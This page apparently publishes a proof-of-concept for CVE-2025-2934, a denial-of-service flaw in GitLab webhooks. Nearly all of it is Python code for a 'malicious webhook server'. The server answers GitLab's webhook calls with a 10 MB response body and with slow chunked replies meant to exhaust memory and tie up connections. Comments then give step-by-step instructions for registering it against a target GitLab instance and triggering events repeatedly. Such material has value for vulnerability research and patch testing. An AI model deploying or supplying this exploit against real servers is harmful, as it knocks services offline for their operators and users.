CVE-2025-2934 GitLab Webhook配置拒绝服务漏洞

# CVE-2025-2934 PoC - GitLab Webhook DoS via Malicious HTTP Response # This PoC demonstrates the concept of exploiting malicious webhook endpoints # to cause denial of service on GitLab CE/EE instances. import http.server import socketserver import threading import time class MaliciousWebhookHandler(http.server.BaseHTTPRequestHandler): """ Malicious webhook server that sends crafted HTTP responses to trigger DoS condition on the target GitLab instance. """ def do_POST(self): # Read the incoming webhook payload from GitLab content_length = int(self.headers.get('Content-Length', 0)) payload = self.rfile.read(content_length) print(f"[*] Received webhook payload: {len(payload)} bytes") # Technique 1: Send oversized response body to exhaust memory self.send_response(200) self.send_header('Content-Type', 'application/json') # Send a very large response (10MB of data) large_body = b'{"data":"' + b'A' * (10 * 1024 * 1024) + b'"}' self.send_header('Content-Length', str(len(large_body))) self.end_headers() self.wfile.write(large_body) def do_GET(self): # Technique 2: Slow response to hold connections self.send_response(200) self.send_header('Content-Type', 'text/plain') self.send_header('Transfer-Encoding', 'chunked') self.end_headers() # Send data very slowly to keep connections alive for i in range(1000): chunk = f"{len(str(i)):x}\r\n{i}\r\n".encode() self.wfile.write(chunk) self.wfile.flush() time.sleep(2) # 2 seconds between chunks def log_message(self, format, *args): # Suppress default logging pass def start_malicious_server(port=8888): """Start the malicious webhook server""" with socketserver.TCPServer(("0.0.0.0", port), MaliciousWebhookHandler) as httpd: print(f"[*] Malicious webhook server listening on port {port}") httpd.serve_forever() if __name__ == "__main__": # Steps to exploit CVE-2025-2934: # 1. Deploy this malicious server on an attacker-controlled host # 2. Login to the target GitLab instance with any authenticated account # 3. Navigate to Project Settings > Webhooks # 4. Add a new webhook pointing to http://attacker-server:8888 # 5. Select events to trigger (e.g., Push events, Merge request events) # 6. Perform actions that trigger webhook events repeatedly # 7. GitLab will send requests to the malicious server, which responds # with crafted responses causing resource exhaustion start_malicious_server()